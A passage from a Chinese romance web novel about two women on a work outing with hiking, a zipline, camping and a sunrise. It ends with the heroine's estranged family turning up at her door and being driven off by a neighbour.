邵峰哦哦两声,笑容爽朗,“不好意思不好意思,来夏老师往左边看,我的右边你的左边,微笑,好,就是这样。” 庄思雨的对象的确是一位专业摄影师,他的工作就是拍摄杂志封面,所以在拍摄时,总会出声指点动作和站位。 “眼神,互动,要有互动和故事感,你们要有交流。” 夏云鲤默默听着他的指挥,忍住想要移开视线的冲动。 这是她第一次觉得拍照是一件让人煎熬的事。 本来就正处在调整状态的尴尬时候,她又想躲着姜池,又不能让姜池看出来,甚至已经想着要不要去找闺蜜住个十天半个月冷静冷静,可一个拍照,就让她汗流浃背,脑海里回荡的都是直接钻到地底下的念头。 姜池的睫毛好长,虹膜的颜色很深,专注望着人时,就好像自己是她的全世界,又或者,自己是这个嘈杂纷扰世界里唯一一个值得注意的人。 她知道姜池的身材很好,典型的衣架子,手长腿长肩宽,穿什么都好看。可这不意味着,她要挨得那么近,仿佛一低头,就能吻到对方白皙的颈侧,又或是舔到分明的锁骨上。 太近了。 姜池似乎很喜欢拍照的过程,认真执行摄影师的每一个要求,握住她的胳膊,撩起她的发丝,从背后半搂着她的肩膀。 夏云鲤定在原地,耳中传来的指挥声越来越远,姜池的呼吸却愈来愈近,仿佛她的体温滚烫到把空气烧开,把氧气烧光,让自己只是呆着就窒息。 某一个瞬间,她们对视,好像彼此都是深情。 “哎呀,怎么车就到了。”庄思雨看了现场版暗潮汹涌的“爱情剧”,嘴角几乎咧到耳根去,根本下不来。 不知道当事人什么想法,反正她看着,分明是两个害羞到不行的人,别别扭扭又强装大方。 好磕死了! 听到庄思雨的话,夏云鲤猛猛松了一口气,后退两步,从焦灼的气氛中退出去。 姜池却上前两步,又走到她身边,目光眺望远处,“是学校组的客车到了,我们得先去和她们汇合,拍几张合照。” 再躲就刻意了。 只是朋友只是朋友,朋友之间离得近一点也很正常!夏云鲤反复在心中念叨了好几遍,才深吸一口气挤出笑容,语气如平时一样轻快,“好呀,那我们走吧。” “好。”姜池说。 刚走两步,她貌似随意地问:“这里人多,要不要牵着手?” 夏云鲤一个向日葵猛回头,就听见这人不紧不慢地说:“我怕走散了。” 两个成年人,能怎么走散?景点门口就是一个大广场,通往景区里面只有一条公路,再不济还有手机联系,她都想不到走散的方法。 是有外星人入侵,把人隐形然后抓走这样散吗? 可说话的人摆出一张“这只是一件再正常不过的小事”的脸,她竟然想不出什么拒绝的说法。 一秒钟,两秒钟……时间一点一滴流淌,久到姜池偏过头来,无声询问她的回答。 夏云鲤一咬舌尖,视死如归般开口:“我手心爱出汗,牵手会黏糊糊的。” 姜池沉默片刻,“之前去鬼屋的时候没发现。” 夏云鲤怔住,情急之下的拙劣谎言,就像糊窗户的报纸,轻轻一戳就破。 她懊恼地咬唇,解释像欲盖弥彰。 “今天温度太热了。” 姜池没再说什么,看起来好像是接受了。 可夏云鲤反倒更过意不去,因为她知道姜池能看出来这份假话的不走心,解释的无力和苍白,但这位大博士总会在这种时候体贴,不戳穿,假装相信。 她心下一横,左手向旁边伸过去,抓住姜池的手掌,勾住她的手指,拼尽力气粲然一笑,“反正你也不会嫌弃我的,对不对呀?” 姜池翘了下嘴角,目光比此刻盛夏的太阳还灼热,“永远不会。” 说话的功夫,她们走到大巴附近,见到了带领活动的主任。 大家都是老师,也没有大企业那些团魂的讲究,主任把所有人都叫到一起,站成一堆,举起手机咔嚓拍了张照片,扬声道:“好了,接下来的时间大家随意活动,午饭免费,十一点到十二点半去钟楼旁边的盛记大酒店,报学校名字,出示一下群里的二维码就行,大巴返程时间在晚上五点半,终点还是学校,自己走的群里表填一下。” “解散吧。” 话音刚落,大家都四散开。庄思雨招呼着她们,“走呀,爬山去。” “这山挺高的,估计我爬到一半就得坐缆车了,你们能行吗?小鱼体力这么样?” 夏云鲤还没等回答,姜池就替她答道:“小鱼的体力比我好,有三个我的程度。” 夏云鲤摆着手,“哪有哪有,太夸张了,我只是力气大一点。” “单手拎起五六十斤行李箱。”姜池说,“你太谦虚了。” “真的嘛!真人不露相啊。”庄思雨惊呼,“看来我也犯了以貌取人的错了。” 她笑着,视线快速扫过两人交握的双手,和姜池主动替答的亲密态度,忽然嘿嘿两声。 她和姜池认识太久,不敢保证很了解后者的内心,但外在行为实在熟悉得不能再熟悉了。 姜池看起来冷淡疏离,对人很客气有礼貌,实际上呢,简直是拒人于千里之外,不要说牵手,就是搭个肩膀都会被她躲开。 曾经一度,她都以为姜池是有重度洁癖,才不想被人碰到,实际不然,她就是单纯讨厌。 庄思雨把这个当做天才聪明人的特殊癖好,今天见到这一幕,真不枉费活动通知下来的时候,她特意问姜池带不带小鱼来,还费尽心思把“家属成员”扩大范畴。 真值了!遇上喜欢的人,果然什么原则都没有。 含金量超标了! 第53章 讨厌仍旧心动的自己 今天是周末,来爬山的人很多,老人小孩情侣朋友,不同身份的人聚在一起,时不时说笑两句,人声喧闹。 但姜池却感受不到一丁点烦扰。 她的全部注意力都只在吹过发丝和交握手掌的微风,和人影交叠的婆娑树影,跳跃在肩头的日光,以及心上人如蝶翼扇动的睫毛。 倘若幸福需要注解,此刻就是最好的答案。 时间快如白驹过隙,倏忽一下就到了半山腰。 夏云鲤脸不红气不喘,就像在客厅走了两圈一般,反观同行的庄思雨她们,额头鬓角皆有汗意。 “不行不行,我得坐缆车了,真要爬上去,下午不用干别的了。”庄思雨给自己扇了扇风,指着不远处的队伍说,“你们年轻人体力好,我老啦。” 姜池:“我们是同岁。” 庄思雨闻言嘿嘿笑出声,“午休在饭店见。” 好的cp粉就是要主动为正主创造相处空间。 她们走了,就剩下夏云鲤和姜池两个,前者扭过头,眼里透出关心,“你要不要也休息一下,那边有长椅,可以坐一会儿。” 姜池在面子形象和身体状况中犹豫了片刻,最终选择后者,老老实实说:“要。” 反正她在小鱼这里,大概已经坐实外强中干的描述了,实在没必要为了逞强把自己累坏。 “好哦。”夏云鲤应道,又多嘴叮嘱一遍,“累了就和我说,慢慢走就是了。” 来到长椅这里,她从包里抽出一张纸巾,把座位擦了擦,才招呼姜池坐下。 “这里风景挺好看的。”她环顾四周,发出感叹。 “你之前没来过五福山吗?”姜池有些疑惑地问。 “没有。”夏云鲤摇了下头,唔了一声,“要怎么解释呢,我对爬山没有什么感觉。乡下长大的嘛,种的地都在山上,一年有一半的时间都在爬山,不过是矮小版本的。” “可能是小时候走太多了,总觉得带台阶的山有点别扭。” “你这是什么表情嘛!”夏云鲤用胳膊肘拐了她一下,“好像我很可怜一样。” “没有,就是……”姜池欲言又止,眼波柔软。 有点心疼。 “你有没有雨天在森林里漫步过?有没有看过鹰和乌鸦从林中飞过?有没有采过蘑菇挖过野菜,有没有追过兔子赶过野鸡?有没有看过穿山甲的洞,捡过蛇蜕的皮?” 伴着微风,夏云鲤的发尾也像在跳一种名为自由的舞,“干活是很累,但是有些回忆也很珍贵。” “你没有吧。”她的下巴微微扬起,有点骄傲的样子。 “没有。”姜池都有点羡慕她了。 她自己把看书当成最大的爱好,几乎也不怎么去接触大自然,动物园里的动物,和公园里的松鼠,就是她对外界风光的全部体验。 夏云鲤哼哼两声,开始讲述不同动物脚印的区别。野鸡的脚印像三根竹叶,老鼠的脚印像一对一对的顿号,兔子的脚印并腿跳着走的圆印,鹿的脚印像圆润的三角形从中间分开,变成两瓣。 姜池听她讲述这些内容,看着她莹亮的双眸,脑海里不由自主地想象着小小的小鱼背着竹筐在森林里穿梭,留下一串小小的脚印,时不时蹲下身子观察脚印的模样。 好像一只好奇的小猫猫啊…… 糟糕。 心脏要融化了。 夏云鲤扬眉:“我比你懂得还多吧,大博士?” 姜池:“嗯嗯。” 可爱。 她貌似忽然懂了动物塑为什么在网上流行。 两个人休息了一会儿,就接着开始爬山,到达山顶已经是一个半小时之后的事儿了。 此时夏云鲤的额头出了一点薄汗,状态仍旧不错,鬓角都没湿,姜池却脚步沉重,穿着粗气。 最后一段路程,她几乎完全是被拽上来的。 等待索道的空挡,姜池不顾形象地蹲下来,咕咚咕咚给自己灌水。 夏云鲤看得咋舌。 考虑到姜老师的体力,后半程她们走个十几分钟就停下来休息一次,就这样还是给她累到了,看来姜池耐力不行。 她拖着姜池,把人拽到了阴凉的棚里,把包里的传单拿出来叠成扇子,对着人开始扇风。 细微的凉风吹拂在脸上,吹走燥热和汗珠,姜池一扭头就能看到花花绿绿印着游泳健身的传单纸扇后面,一张粉面含笑的脸。 她耳根一红,在逞强和休息之间,再次从心地选择了前者。 反正……也不是第一天认识了。 “你现在感觉怎么样,能坐飞索吗?”夏云鲤关切地问。 “能。”姜池连忙表态,“我可以坐。” “真的不会恐高吗?”夏云鲤有点担忧,“我们坐缆车也可以,还有旱道能滑,选择很多,还可以租自行车,坐观光车。” 上次去游乐园发生的事,还历历在目呢。 “我想尝试一下。”姜池说,“恐高是可以逐渐克服的。” 说完,她抿着唇,有点不好意思似的问,“不过,你能陪我坐双人的吗?” “当然可以啦。”夏云鲤一口答应下来,随后再次试图劝她,“真的不考虑一下观光车吗?” 她好害怕姜池飞到一半吐出去,或者吓晕过去。 姜池不说话,只是看着她,半晌后,夏云鲤举起手投降,“好好好,飞索,听你的。” 工作人员在绑安全设施时,姜池感觉自己的腿有点发软,但她什么都没说。 长长的索道一直连到半山腰的月牙湖,几百米的距离,近乎蹦极般的体验,对她来说,是个堪比自杀式的挑战和折磨。 可是一想到,飞索大概比摩天轮更像鸟在天空飞翔滑行的感觉,姜池就没办法放弃,就算把牙咬碎也要坚持。 没什么好怕的,她站在高台边缘,强迫自己不向下看,而是凝视着身旁的夏云鲤。 她的手指穿过对方的指缝,亲密地扣在手背上,十指交叉。 夏云鲤的回应是紧握住她的手,笑容柔和,“害怕的话,就看着我吧。” “倒数三个数,我们一起跳。三、二、一……” 骤然的失重感扼住姜池的心脏,一瞬像漂浮,一瞬像坠落。 她顾不得给逐渐抗议的胃留有反馈的空间,只是一味地注视着身旁人。 跳下的一刹那,浓黑的发丝倏地向后舞动,仿佛是小鱼在天空中的翅膀。 姜池突然觉得心里很安定,又像一锅煮沸的糖浆,咕嘟嘟冒泡。 “哇呼——!”夏云鲤大喊着,笑容格外灿烂,仿佛天上的太阳是从她的眼角眉梢跑出去的。 “你看你看,底下就是月牙湖!好漂亮啊!” 姜池条件反射低头看去,都忘了自己还恐高。等她反应过来,虽然手脚仍旧有点软,却没有反胃,好似所有的恶心都被眼前壮丽的景致冲刷掉了。 五个相连的湖泊组成一道弯月,湖水湛蓝宛若一小块天空被切下来,绿色的森林便是最美的翡翠,光辉相映,美得令人窒息。 “好美。”她喃喃道。 从天空看下去,事物又大又小,疾行的风似乎能将所有烦恼吹走,让世间再无忧愁。 她大约明白了,小鱼为何想要做一只鸟。 天空是倒映的海,她短暂拥有了飞翔的感觉。 眨眼的功夫,飞索到达终点。 姜池的双脚刚一沾地,脚下就是一个踉跄向前扑去。夏云鲤早就注意着她,手比意识更快一步揽住她的腰,一个用劲,让她倒进自己怀里。 工作人员还在旁边等着解装备,她赶紧又把人扶正,“再坚持一下哦。” 感到丢脸,还是感到馨香和害羞,亦或是大吐特吐,又是一个艰难的抉择。姜池紧闭着嘴巴,同自己的胃讨价还价,开不了口,只能点头。 好在不用她做决定,夏云鲤很快跟工作人员一起把安全绳解下来,一手揽过她的腰,一手扶着她的肩膀,带她走到不远处的长凳上坐下,都没来得及先擦一擦。 刚坐下,夏云鲤就让姜池靠在自己身上,用一只手去兜里拽出湿巾,用牙撕开包装袋,单手把袋子扯下来放到一边,细致地给姜池擦了擦额头和脖子,耳后和手掌。 “我们缓一缓,来喝点水吧,给你,吃块糖压一压应该能好一点。” 蜜桃薄荷的糖块被送进嘴里,喝一口水再吸一口气,瞬间能从嘴巴凉到胃里。 姜池晕乎乎地靠在喜欢的人肩膀上,巴不得自己再难受一点,好多赖一会儿,最好能维持这个接触面积,一直到晚上睡觉的时候。 不需要风的帮忙,她就能嗅到夏云鲤颈窝的甜香气。分不清是恐高导致的眩晕,还是被动脉处散发的热气香味熏晕,姜池迷迷糊糊,都没注意到自己还蹭了蹭。 毛茸茸的发尾压在锁骨,带来痒意。 夏云鲤抬手拨开,指节不小心蹭过还湿润的唇瓣,那股子痒意忽然顺着食指染上的水渍,沿着神经脉络,在脊椎末梢转了一圈。 她咬唇。 这算亲密越界吗? “嗯……我给你扇扇风吧。” 放在腰后的手动了动,想抽出来,却因为姿势的缘故只能放弃。夏云鲤无奈,只好用空着的那只手使劲扇风,试图把姜池身上所有的水都吹干。 这样就不会触电了。 “船开了。” 夏云鲤正心烦意乱,肩膀上的人还脑袋乱动,说话时的热气都喷在她的颈窝里,像一场朦胧的小雨,淋到她的心头上。 搞得她躲也躲不开,不躲又别扭。 “都什么时候了还想着船,先好好休息再说。” 她看姜池,心疼和关心有,生气和讨厌也有,甚至说不上是讨厌姜池多一些,还是讨厌仍旧心动的自己多一些。 这句话语气不太好,夏云鲤蹙了下眉,赶紧放柔了声音,“等你休息好了,我们再去坐船,不着急的。” 第54章 以恋人的关系相伴此生 湖面上的风裹着水汽,带着恰到好处的微凉,抚上人的面颊。 姜池的面色仍旧有些白,血色不足,她将胳膊搭在船厢边缘的木质栏杆上,微微偏过头,却没看到心里想着的那张脸,而是一个手机。 夏云鲤正在给她拍照。 “我不太会构图,好在模特颜值高,怎么拍都好看。”偷拍的人一点都没有被抓住的窘迫,反倒把罪证端给给受害者看。 姜池一直给人一种冷静的感觉,偶尔有平和的时刻,也像幽深树林中的山泉,安静流淌,有一种无声无息的冰凉湿润。 可刚刚山风吹过她的发丝,几缕短发盖住侧脸,深黑的眼瞳在空隙中若隐若现,倒映着日光,肤色如雪,让她看起来又沉静,又脆弱。 夏云鲤还没反应过来,相册一整页就都被填满了。 以往只有小猫能有这个待遇。 越是心慌,就越要装出一副无事发生的样子,主动举着手机过去给人看。 但坚决不能滑动图片,否则就会暴露了。 姜池听过一种说法,照片会在一定程度上反映摄影师的心情态度。 充满爱的拍摄,拍出的照片也会让人会心一笑,感到温暖,感情的充沛足以盖过所有技巧。 在夏云鲤的相机里,她看起来……很不一样。 像一尊雪捏成的雕塑,却暴露在日光下,外壳融化成水,又结成透明的冰,包裹保护着里面冰凉却柔软的内里。 姜池感到熟悉,又觉得陌生,甚至有种奇怪的慌乱,好像藏起来的什么被发现了一样。 “很好看。”她说,再次看了照片一眼,“可以发给我吗?” “可以可以。”夏云鲤趁机收回手机,选了一个姜池看不到的角度,才点开相册,把照片发过去。 “不知道湖里有没有鱼,应该有吧?”她伸出头向下看,意图快快把这个话题掀过去。 “有鱼。”姜池指着不远处湖面泛开的水波,“那里就有一条,据说盛记酒楼的招牌菜糖醋鱼,用的就是湖里的鲤鱼。” 夏云鲤对她提前搜资料的行为已经见怪不怪了,听到她说的,心里只有一个想法,“有点饿了。” “我们坐船穿过湖面,再朝西方向绕一圈,就到酒楼。”姜池记着所有的路线的游玩设施,像一个智能地图一样人工规划路线,“大约需要二十分钟,过去正好到午餐时间。” “好啊好啊,我一会儿一定要多吃一点,下午还有的走呢。”夏云鲤说,“等吃完,先在附近歇一歇吧。” 别把姜博士累出个好歹来。 搭帐篷的地方比这里还要低一点,如果要看日出,得起早爬山,这么大的运动量,她真怀疑姜池能不能支撑住。 不过这种话在心里想想就算了,真要说出来,怕某人会恼羞成怒,刻意逞强,把身体累垮。 “好。”姜池说。 她们到了酒楼,和工作人员报上农大的名字,就被领进包厢里,见到了零散的几个同事,正举着手机开黑,还有庄思雨两人。 “正好正好,小鱼会不会玩儿王者,来五排吗?我们差一个队友呢。”庄思雨说着,好像察觉到了她的想法似的,紧跟着接上一句打趣,“姜池不会玩,她没有这种低趣爱好。” 夏云鲤犹豫了一下,“我很菜的,平时玩的也不多……” “没事啦!你打辅助跟我,这俩都有大国标的,包上分。”庄思雨拽了个椅子过来,让她坐下,等人上号的时候又问,“你俩都去玩儿什么了?我刚刚在山顶看到有好些个人一起放无人机,还挺壮观的。” “就是爬山,坐飞索下来,还坐了船,没别的了。”夏云鲤回答。 “噢!飞索,双人的吗?” “是的。” 庄思雨心满意足,“旁边的小集市可以拍大头贴,还能买漆扇,十五一把,不算贵。这边和桃树附近都可以买福袋,款式差不多,价格也一样。” 她坐缆车上去,下来得快,提前把这里都逛了一遍。 夏云鲤记下了她的话,恰好游戏开了,她赶紧选了英雄。姜池坐在她手边,看着花花绿绿的屏幕,感到一阵眼晕。 庄思雨还在那里大声夸赞,“这也叫不会玩儿吗,国服手法啊,反应太快了吧!” 夏云鲤就腼腆地笑一下,“还好啦。” 当厨师的人,眼力手速都是必需品。 看着她们的互动,姜池有点意动。这种游戏应该比游乐园的高空设施简单一些吧?游戏人物贴在一起的时候,就好像心也靠在一起了,两个人互相保护,彼此成就,似乎是另一种亲密。 反正只要是小鱼喜欢的、感兴趣的,就算是跳楼机她都能咬牙去试,游戏又算得了什么。 她暗暗下了决定。 吃过饭,庄思雨又拉着她们去月牙湖边拍了几张照片,才把人放走。 两人又逛了一会儿,习惯提前把东西都准备好的姜池,就提出说要去租帐篷,把帐篷搭好,免得太晚选不好好位置。 夏云鲤同意了。 有了帐篷就可以在里面躺着,她没露营过,还挺新奇的。 租帐篷,把车里的东西运过来,最后再搭建和布置,全都弄完,晚霞就已经挂在了天边。 山林里,天似乎黑得要早,太阳被山脊挡住,阳光漫天散射,将云彩烧成绚烂的红。 “真漂亮啊。” 露营区挨着烧烤区,许多来这里玩的小家庭都去炉子边上烧烤,烟很大,但香味同样被风送过来。 夏云鲤打了两个喷嚏,又忍不住吸鼻子,“我们也带点菜来烤好了,好香好香。” 姜池有点懊恼,她真没想到这个,因为旁边就有小吃摊,不用担心饿肚子的问题。 “下次我会注意的。”边说着,又在心里记了一笔。 推荐约会项目的贴只说了名字,她又是个纯新手,压根不知道这里的露营区还能烧烤。 “吃别人烤的也一样呀!还不用被烟熏。走啦走啦,我想买两串烤鱿鱼吃,嗯,再来一份香煎小土豆。” 那怎么能一样。 姜池追着她的身影赶过去。 小鱼做的比摊贩卖的好吃多了。 边吃烧烤边在草坪漫步,也是一件很惬意的事情。在钢筋水泥的丛林里待久了,很需要来到真正的大自然放松放松。 夏云鲤用签子叉起一块小土豆放进嘴里,享受地半眯着眼睛。 “去看桃树吗?”气氛正好,姜池终于提出了自己来的目的。 她提着装垃圾的小袋子,慵懒帅气的打扮也变成了接地气,可这张脸摆出紧张和期待的表情,哪怕穿破烂的乞丐装,夏云鲤也拒绝不了。 这个季节桃花早已经落了,只剩下叶子郁郁葱葱,像一个圆顶盖子。 树下有一圈小灯,光芒温柔,离远了看,整棵桃树都亮晶晶,宛若会发光。 走近了才发现,是那些香囊和牌子,上面绣着金银线,反射的光连成一片,好似彩灯。 只是走到这里,姜池的气息就活跃起来,积极地拽着夏云鲤去买香囊,打算挂上。 香囊三十一个,她付得眼都不眨,接过老板的纸笔,微微弯腰伏在案上,笔尖刚触及纸面,姜池手下一停。 用另一只手把笔尖盖住了。 “还不让我看。”夏云鲤挑眉,忽然有点好奇她写的什么。 shishi“愿望被看到就不灵了。”姜池耳尖一红,难得窘迫,却还是没有把手挪开。 “好嘛好嘛,我躲远一点。” 夏云鲤哼笑一声,走回树下,仰头去看那些彩签。 大多数都是和感情有关的,比如要一个恋爱对象,希望婚后感情顺利,希望两个人长长久久。 和感情差不多数量的是求财,中大奖,暴富,工作赚大钱。 大家的愿望都差不多,饱含了最朴素真挚的情感。 夏云鲤有点想写,转念一想,自己也没什么好求的。她不信这些,只把寄托放在自己本身,花钱求个好兆头,也是可有可无的事情。 犹豫的时候,姜池已经写好了。 她拎着红绳,在树下绕了两圈,选定一条还算清静的树枝,郑重地把香囊挂在两片树叶之间。 末了还双手合十,对着桃树拜了拜。 极为诚恳。 真看不出来姜池也是个信玄学的人。 桃树下,姜池闭上双眸,在心中默念:尊敬的桃树姻缘神,希望我和同行的夏云鲤可以永远在一起,以恋人的关系相伴此生。 她念了三遍,一遍比一遍诚心。 再睁开眼,顿觉心头大事已毕,一身轻松。转过身去,喜欢的人就在不远处看着她,被微黄的灯光染上一身暖色,眼中仿佛有星子闪烁。 只她一个人站在那里,就好像把世上的美好诠释殆尽了。 姜池走过去,无比自然又隐含羞涩地牵起对方的手,鼓噪的心脏可不耽误她享用自己来之不易的快乐。 “我们回去吧。”她说,用天衣无缝的理由,“晚上蚊子很多。” 帐篷可以抵挡蚊子,很好,而且它只有一个,好得不能再好。 她们两个将会在野外狭小的空间里,第一次睡在一张床上。 充气的床垫柔软,上面铺了一层厚毯,两条被子挨着,两个枕头贴着,姜池扫上一眼就匆忙挪开视线。 她怕自己的目光停留太久,眼中的兴奋和羞赧会遏制不住地爆发出来,再也藏不住。 “我先换睡衣?”夏云鲤试探着问。 她怕姜池会不好意思先脱衣服。 果不其然,她刚问完,姜池就快速接上一句,“好,我去外面。” 夏云鲤失笑,从背包里拿出了自己特意挑选的睡衣睡裤,米白色棉质的双层厚提花面料,不穿内衣也没有关系,样式可爱,外穿都可以。 她赶紧换好睡衣,把头发松松垮垮绑起来,掀开帐篷门去叫外面等着的人。 夜色渐深,只有间隔稍远的路灯提供照明,帐篷所安置的位置恰好是无光的区域,远处灯光朦胧,暗色环境下,夏云鲤的胳膊手臂更是白的晃眼。 姜池直接脱下自己的外套,披到她的肩膀上,“我很快就换好衣服叫你进来。” 顾不上害羞了,这里的蚊子真的很多,她站在外面短短几分钟胳膊就被咬了两个包。 真是可怕。 姜池钻进帐篷,换衣服的速度比军训还快,照例是一身长袖长裤,浅米色的衣服上没有任何印花,素到一看就能看出来这是家居服的程度。 刚把衣服穿好,她就先开帐篷将夏云鲤喊进来。 “真的好多蚊子啊,你看。” 后者一进来就把手背伸出去,上面有一只死掉的蚊子,还带着一点点血,显然遭受了巴掌袭击。 “五福山有树有水,是蚊子最喜欢的繁衍地。” 夏云鲤接话,调侃道:“还有这么多人,不怕自己吃不饱。” 姜池唇角泛起浅笑。 下一秒,她抄起驱蚊喷雾,对着帐篷里外都喷了一遍。 “好啦好啦,快进来吧,整个帐篷都变成薄荷味的了。”夏云鲤望着姜博士近乎疯狂的动作,狠狠打了两个打喷嚏。 真怕蚊子没被解决掉,自己先被熏晕过去。 姜池闻惯了消毒水和各种农药试剂的刺鼻气味,等她提醒才意识到剂量过大,懊恼和羞愧,瞬间化作小针,扎向她的心头。 “快来进被窝,我们看个剧吧。”夏云鲤拍拍旁边的被子,随即就看到姜池的脸以肉眼可见的速度红了起来。 “好、好的。”结巴是脸红最好的朋友,一个来了,另一个自然跟上。 姜池能感受到自己脸上的热度,她真想装出云淡风轻的沉稳样子,奈何脸有自己的想法,根本不听她的指挥。 姜博士什么都好,害羞的样子更是可爱,如果是之前,夏云鲤一定要故意凑到她耳边说两句话,添一把火。 可惜。 她现在得保持一下距离。 拿出平板,点开电视剧,是她最近新找的一个刑侦悬疑剧。 画面刚一出现,就是一具在森林里的尸体近景,苍蝇围绕着青黑带点腐烂的皮肤上下翻飞。 姜池:…… 在露营的时候看这种好吗?某种意义上来说,她们也在荒郊野岭,只不过是人很多的那种。 夏云鲤也意识到了不对,讪讪一笑,赶紧切出去,“要不你选一个?” 姜池不和她客气,选了一个很甜的韩百,讲的是职场上司死对头变女朋友的故事。 平板的屏幕没有那么大,想要看清,两个人必然要凑近一点。 夏云鲤本来心里还惦记着保持一点距离,不曾想剧情太好看,她看着看着就沉浸其中,往姜池在的方向靠过去,顺手剥了橘子和开心果投喂。 橘子瓣大,还能不碰到,开心果果仁太小,碰到什么也是躲不开的。 夏云鲤喂了一个,就默默收回手,唾弃起自己。 姜池却发出一声模糊的鼻音,好似询问,昏黄的台灯下,她的面庞竟有种无辜感。 夏云鲤忽然觉得自己实在过分。 普通朋友,喂喂零食怎么了! 她怎么能不回应姜池的期待,忍心让姜池失望呢! 开心果越嚼越香,姜池发誓,这绝对不是她的错觉。 电视剧看了三集,作息固定的她打起了哈欠,夏云鲤才意识到已经很晚了,她捡起旁边的手机看了眼时间,伸了个懒腰,“我们去洗漱吧,回来睡觉,还得早起呢。” 要看日出,还得爬山上去,最晚四点钟也该起来了,现在是晚上十点,最多只能睡五个多小时。 她从包里拿出洗漱用品,两个人一起去公共洗漱间接水洗漱。 灯光明亮,瓷砖洁白,里面都是排队洗漱的人,景区这里特意装修过,比商场还要干净整洁,卫生间在另一个方向。 洗脸刷牙,姜池在头顶别了两个小夹子把头发夹起来,好像个高中生。 夏云鲤盯着看了好一会儿才回神,心里直叹气,都懒得唾弃自己又被美**惑住了。 洗漱完毕,两个人钻回帐篷,把门仔细拉好锁上。 关掉台灯,唯一的光源也暗下去,整个空间霎时无光。姜池在黑暗中眨着眼睛,预想中会出现的凝视睡颜的画面,根本没办法实现。 她的眼前一片漆黑,什么也看不到,帐篷太遮光了,外面的光也透不进来。 好在视线受阻,其它感官便清晰起来。 夏云鲤捋顺头发的簌簌声,翻身时被面摩擦的窸窣声,清浅的呼吸声,都像紧贴着耳膜发出来的。 鼻端萦绕着发尾的芬芳,牛奶面霜的香甜,清凉的薄荷,和在无数气味下仍旧能被捕捉到的浅淡桃子香。 姜池很困,她的眼皮向下搭着,身体在传达想要休息的信号,可精神却振奋无比。 无光的环境下,想象是最好的画笔。 她不知道自己什么时候睡着的,再醒过来,是肩膀被人推了几下。 “起床啦。”夏云鲤边说边打着哈欠,她抬手揉了揉脸,放下手,立刻精神起来。 变脸一样,看得姜池差点愣住。 “起来起来,说好看日出的,已经有人出发了。” 这些人起得太早,夏云鲤严重怀疑她们昨晚有没有睡觉。 短暂的迷茫过去,姜池也快速爬了起来。 她们两个人都没有赖床的习惯,飞快洗漱完后把东西放好,夏云鲤拎起一盒小柿子,就往山顶进发。 冷水冲洗过的牛奶小番茄达到了提神醒脑的效果,还能垫垫肚子。 她们走一路,吃一路,穿过浓浓的大雾,终于到达目的地,两个人的面上是不约而同的期待。 山顶人挤人,她们紧挨着,牵着手,夏云鲤举起手机点开录像。 下一秒,整个天空燃烧起来,云海瞬间散去,一轮曜目红日跳到面前。 惊呼声此起彼伏,夏云鲤从未见过如此壮美的景色,移不开眼。 却不知道,自己在姜池眼中,同样是难以克制欣赏目光的风景。 第55章 这下她是彻彻底底忧心起来 【天呐,这什么神中神,你跟我说这是菜?】 【论本站美食区都入侵了哪些区】 【煮啵,我是大学生,送我,听见了吗我是大学生】 …… 夏云鲤翻着新视频的评论区,嘴角都要咧到耳根去了。 从五福山回来后很长一段时间,她都被云海瞬间散去的景色震撼到,只恨自己书读得不够多,哇和好美两个词翻来覆去地说。 随后到家,她断更了一段时间,琢磨出了这道新菜,给它起了一个非常通俗的名字——萝卜白菜大合唱。 一整盘用各种颜色的萝卜和白菜雕出来的林海,用干冰和真冰做出云雾缭绕的效果,洒在上面的糖霜先是融化后是冷却,凝结成一颗颗细小的冰珠,日光照射下宛若琉璃。 而升起的太阳,是用胡萝卜和红辣椒拼成的。 夏云鲤特意说了,吃应该是不好吃,她把这道菜叫做厨师的艺术画。 味道不重要,过程展现的刀功的巧思才是神迹。 这个视频,让她又上了一次热门。也顺理成章接到了几个广告,事业又向前迈了一步。 就在这时,门铃忽然响了,有人在外面喊道:“快递!” 一定是品牌方送的样品到了,财大气粗的品牌方基本都发顺丰,送货上门。 夏云鲤放下怀里的平板走到门口,手握上门把手的同时,习惯性看了下猫眼。 谁料门后面的压根不是熟悉的快递员,反倒是一个看起来流里流气的肥胖男人,身上也没穿制服。 她当场一惊,顿时后撤两步,扬声道:“快递放门口就行。” “不行啊,要当面签收的,你开下门吧。” 夏云鲤本就怀疑,听到他这么说,更是警惕。 她点开可视门铃的监控,终于在回放中看到了这位不速之客的真面目——夏子龙! 这位有血缘关系的亲弟弟比以前胖了太多,整个人好似吹起来的气球,身高和体重估计是相同的数字,就像个水桶一样。 更让夏云鲤感到恐惧的,是他并非一个人来,还有她的父母! 三个人一起出了电梯,那两个却转头就进了楼梯间,受角度影响,摄像头照不到那么远,只能看到楼道的门打开,两双腿走进去,门再度关上。 夏云鲤狠狠打了个哆嗦。 “开门啊,快点签收快递,我还有事呢,赶紧的!” 门外的声音愈发不耐烦,明显是冲着自己来的。 恐惧与憎恨,愤怒和惊慌一同冲进她的大脑,夏云鲤竟分不清自己此时的战栗到底是为了什么。 她使劲掐了大腿一下,强迫自己冷静下来,也装作不认识外面人的样子喊道:“我没买顺丰的快递,你送错了。” “你不是夏盼南吗,夏盼南就是你,赶紧开门!!”夏子龙还没吃过这么久的闭门羹,预想里这死女人就应该直接把门打开才对。 他咣咣用手砸着门板,把门砸得震天响,“快出来!” “吵什么吵啊,你谁啊!杵这儿干什么的?”隔壁房门忽然打开,一位健美女子拎着双节棍走了出来,手臂肌肉轮廓明显,显然是个练家子。 夏子龙满是横肉的脸忽然一抖,梗着脖子反问:“我找夏盼南,关你什么事?” “我是这栋楼的户主,你大喊大叫打扰到我休息了,你说关不关我事?这里根本没有你要找的人,再不走我就找物业报警抓你了!”邻居往前一步,把双节棍甩的噼啪响。 眼看着她越走越近,耳边双节棍的风声也越来越大,夏子龙咬着牙,挤出一点笑,丑得像癞蛤蟆咧嘴,“有话好好说,不至于动手啊。” 邻居不说话,双节棍舞得虎虎生风都能看到残影。 夏子龙见她软硬不吃,自己就先慌了神。他作威作福惯了,平时在学校也欺负其他同学,和社会上的混混聚在一起,压根没想过打架犯法这件事。 见邻居态度强硬,只好把父母叫出来,心不甘情不愿地坐电梯下去。 “我们就在楼下等,不信她不出来!” 邻居把人赶跑,转头就给夏云鲤发了消息,告诉她家门口的事,得到了后者的感谢,和一顿大餐的约定,美滋滋回屋了。 她没问是什么事,让夏云鲤有些感激。 人虽然走了,可她仍旧不敢出门看一眼,过去的阴影就像心中担忧的那样找上门来。这群家人就像吸血虫,她拼力创造的美好生活,难道就要被破坏了吗? 到了晚上,姜池回家,进门第一句就是:“今天发生什么事让你心情不好了吗?” 